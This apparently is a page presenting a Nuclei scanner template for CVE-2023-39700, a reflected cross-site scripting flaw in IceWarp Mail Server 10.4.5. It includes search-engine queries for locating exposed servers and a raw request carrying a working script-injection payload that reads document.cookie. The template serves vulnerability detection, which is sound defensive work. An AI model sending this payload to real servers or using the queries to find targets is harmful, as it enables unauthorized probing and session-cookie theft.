IceWarp Mail Server v10.4.5 - Cross-Site Scripting

ID: CVE-2023-39700

Severity: medium

Author: r3Y3r53

Tags: cve,cve2023,icewarp,xss,unauth

Description

IceWarp Mail Server v10.4.5 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the color parameter.

YAML Source

id: CVE-2023-39700

info:
  name: IceWarp Mail Server v10.4.5 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    IceWarp Mail Server v10.4.5 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the color parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39700
    - https://cwe.mitre.org/data/definitions/79.html
    - https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)
    - https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_%28XSS%29
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39700
    cwe-id: CWE-79
    epss-score: 0.00103
    epss-percentile: 0.42039
    cpe: cpe:2.3:a:icewarp:mail_server:10.4.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: icewarp
    product: mail_server
    shodan-query:
      - http.title:"IceWarp Server Administration"
      - http.title:"icewarp server administration"
      - http.title:"icewarp"
      - cpe:"cpe:2.3:a:icewarp:mail_server"
    fofa-query:
      - title="icewarp server administration"
      - title="icewarp"
    google-query:
      - intitle:"icewarp server administration"
      - intitle:"icewarp"
      - powered by icewarp 10.4.4
  tags: cve,cve2023,icewarp,xss,unauth

http:
  - raw:
      - |
        GET /webmail/?color=%22%3E%3Cimg%20src=x%20onerror=confirm(document.cookie)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "><img src=x onerror=confirm(document.cookie)>") && contains(body, "IceWarp")'
        condition: and
# digest: 4a0a00473045022100842e762ff0b0963e03f9e9325dca996ca8cc4cc4ae1d92bebc764f1850c17de5022056a916ebc9aa00868b924f669a9f102ebd78399b1d6f7ad0825ea5f0f121fb84:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-39700.yaml"

View on Github